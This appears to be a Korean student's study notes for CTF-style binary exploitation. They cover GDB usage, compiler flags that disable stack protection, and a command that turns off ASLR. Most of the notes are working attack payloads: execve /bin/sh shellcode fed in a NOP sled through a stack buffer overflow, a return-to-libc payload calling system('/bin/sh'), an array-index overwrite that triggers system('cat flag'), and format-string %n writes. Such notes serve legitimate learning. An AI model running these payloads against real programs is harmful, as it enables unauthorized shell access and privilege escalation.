12.12-14 오버플로우 본문
- 레지스터 상태 확인하기
- 특정 메모리에 원하는 값 넣기
- 매 실행 시 특정 명령어 반복하기
- shell 실행하기
--------------------------------------------------------------------
GDB 사용법
● 실행방법
Gdb “프로그램명”
-c, -p 등의 옵션을 이용해 상황에 따라 실행할 수 있다. (man gdb 참고)
Ex) gdb -q bigbof01
● 어셈블리어 코드 보기
disas func : func 함수의 어셈블리어 코드를 출력한다. 함수 이름을 찾아갈 수 있을 때만가능하다.
밑의 메모리확인 명령에서 x/i $eip를 이용하여 볼 수 있다.
● 브레이크 포인트
break(b) func
break(b) *func+5
break(b) *0x804000\
Ex) b *main+45, b *main
info break (i b) : 현재 걸려있는 모든 break point를 확인한다
cl func : func함수에 걸린 브레이크포인트 지우기
Ex) cl main
delete(d) : 브레이크포인트 모두 지우기
● 진행 명령어
run(r) : 프로그램을 수행한다.
run argv[1] argv[2] 형식으로 인자를 전달할 수 있다.
kill(k) : 프로그램을 종료한다
si : 다음 인스트럭션(명령어)을 실행하는데 만약 함수라면 함수 안으로 들어간다.
ni : 다음 인스트럭션(명령어)을 실행한다. 함수 안으로 진입하지 않는다.
● 메모리 검사
x/”범위”“출력형식”“범위의단위” “메모리주소 또는 함수명”
범위 : 범위의단위 * 범위byte 출력
출력형식 : x (16진수), s (문자열) , I (명령어)
범위의단위 : b (1byte), h(2byte), w(4byte), g(8byte)
EX)
x/20wx $esp : esp가 가리키는 메모리로부터 높은 주소 쪽으로 4byte씩 20개를 출력다.
x/10i $eip : 현재 eip의 명령어로부터 10줄의 어셈블리어를 출력한다.
x/s 0x8040000 : 0x8040000에서 시작하는 문자열을 출력한다.
● 기타
info register(i r)
-AT&T 어셈블리어 명령어를 Intel 어셈블리어 명령어로 바꾸기
set disassembly-flavor intel
set {타입}”주소 또는 레지스터” = “값”
set {int}0x8040000 = 123
set {int}$edx = 123
disp/5I $eip : 매 명령마다 eip에서부터 5줄의 어셈블리어 코드를 출력한다.
disp/4x $esp : 매 명령마다 esp에서부터 16byte의 스택을 출력한다.
disp는 명령어를 쌓아서 명령 시 원하는 출력이 보기게 할 수 있다.
!명령어 : !뒤에 shell 명령어를 입력하여 실행할 수 있다.
!ps : 현재 돌고 있는 프로세스를 볼 수 있다.
!cat /proc/$pid/maps : $pid의 프로세스의 전체적인 메모리 상태를 볼 수 있다.
--------------------------------------------------------------------
gcc -fno-stack-protector -mpreferred-stack-boundary=2 – m32 –z execstack -o filename filename.c
-m32 (32바이너리로 컴파일)
-mpreferred-stack-boundary=2 (remove stack dummy)
-z execstack (executable stack)
-fno-builtin (builtin 함수 사용)
echo 0 > /proc/sys/kernel/randomize_va_space (같은 바이너리 같은 위치에 고정)
gdb -q 실행파일
set disassembly-flavor intel
main+0이나 ret를 BP로 잡고 ret 주소를 알아냄
함수 call하는 주소를 BP로 하면 함수에 전달되는 인자의 주소를 알 수 있음
Print 함수 call 이전에 lea eax, [ebp – 0x???] 부분을 BP로 지정하고 Run -> x/[n]wx 로 버퍼안의 내용과 SFP, RET의 내용을 알수 있음
파이썬코드($변수): ex) $(Python -c 'print "A"*256')
쉘코드
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
bigbof01 버퍼오버플로우로 쉘코드 실행 (buffer size: 256)
gcc
-fno-stack-protector -mpreferred-stack-boundary=2 -m32 -z execstack -o
bigbof01 bigbof01.c
gdb -q bigbof01
set
disassembly-flavor intel
disas main
b *main+45
x/68wx $esp
r $(python -c
'print
"\x90"*48+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*192+"버퍼안에
쉘코드 전 nop slep 주소값들 중 하나"')
ex)
r $(python -c
'print
"\x90"*48+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*192+"\x64\xd1\xff\xff\x02"')
r $(python -c
'print
"\x90"*48+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*192+"\x93\xd1\xff\xff\x02"')
ret(0xffffd2ac):
0xf7e13276
buf(0xffffd1a4
or 0xbffffd164): 0x90909090....
./bigbof01
$(python -c 'print
"\x90"*48+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*192+"버퍼안에
nop slep 주소값이나 쉘코드 주소값 중 하나"')
참고:
http://inhack.org/wordpress/?p=2932
http://redscreen.tistory.com/27
Return To Library
"A"*12+"\xd0\xcc\xe4\xf7"+"AAAA"+"\x29\xa0\x04\x08"
0xf7e4ccd0 (시스템함수 주소, gdb에서 p system으로 알수있음)
0x0804a029 (char bin[8] = "/bin/sh";)
System함수는 시스템 명령어를 인자로 받아서 실행
RET: 0xbffff6bc
SYSTEM FUNC: 0xb7e3fd80
Bin: 0x0804a024
Arrayover
Char buf[10]="AAAAAAAAAA"
Int index
Int auth=0
Int i
sfp
ret
argc
argv
Index를 입력받을 때 char형 buffer 사이즈 (10) 보다 큰 수를 넣어도 Scanf로 입력을 받으면 buffer의 메모리를 넘어서 참조를 할 수 있어서 arrayover 가능 (index = 14, value = N(>0) 입력하면 &(buffer+M)인 int auth의 메모리 공간의 1byte를 참조함. Int = 4byte, char = 1byte. 값은 1byte ASCII 코드)
Index = -18, value = 1로 입력하면 putchar 호출할 때 백업 했었던 EBP를 저장하고 있는 메모리의 주소를(0xffffdc31) 참조하여 1(ASCII: 31)로 바꾸어 0xffffdc58 => 0xffffdc31이 되는데 결국 EBP가 백업한 EBP를 저장하고 있었던 메모리의 주소로 바뀜
If(auth != 0) 부분은 바뀐 EBP로 dword ptr [ebp-0x8], 0x0을 수행하게되고 dword ptr [ebp-0x8] = 0x60000000으로 if 조건이 트루가 되어 system("cat flag") 호출.
-----------------------------------------------------------------------
스택은 높은 메모리에서 낮은 메모리로 할당을 진행한다
메모리 ( - )연산 수행 시 다음 메모리는 왼쪽. 다음 메모리의 처음부터 메모리의 끝에 붙는 형식
( - ) 연산: <- [메모리 주소] <-[다음메모리 처음부터]
( - )연산은 왼쪽 메모리(워드)를 뒤에 덧붙인다
메모리 (+)연산 수행 시 이전 메모리는 오른쪽. 이전 메모리의 끝 부터 메모리의 앞에 붙는 형식
( + ) 연산: [이전메모리 끝부터] -> [메모리 주소] ->
( + )연산은 오른쪽 메모리(워드)를 앞에 붙인다
스택을 거꾸로 보고 word단위 주소들을 뒤집어 본다고 생각하면 원래 메모리 체계가 나옴
-----------------------------------------------------------------------
Chain
Main의 RET 영역을 호출하고싶은 함수의 주소로 바꾸면
Main의 RET 영역은 그 함수의 SFP가 되고 SFP+4는 RET가 됌
이 RET(SFP+4)를 호출하고싶은 또 다른 함수의 주소로 바꾸고 이 과정을 반복하면 chaining 가능
ROP 공부..
FSB
python
-c 'print
"\xec\xf6\xff\xbf"+"\xee\xf6\xff\xbf"+"\xdc\xf6\xff\xbf"+"%65497x%x%x%x%x%x%n%n%s"'
| ./fsb
Info variables
python -c 'print "\x48\xa0\x04\x08"+"A"*60+"%n"' | ./iffsb
gdb
Set follow-fork-mode child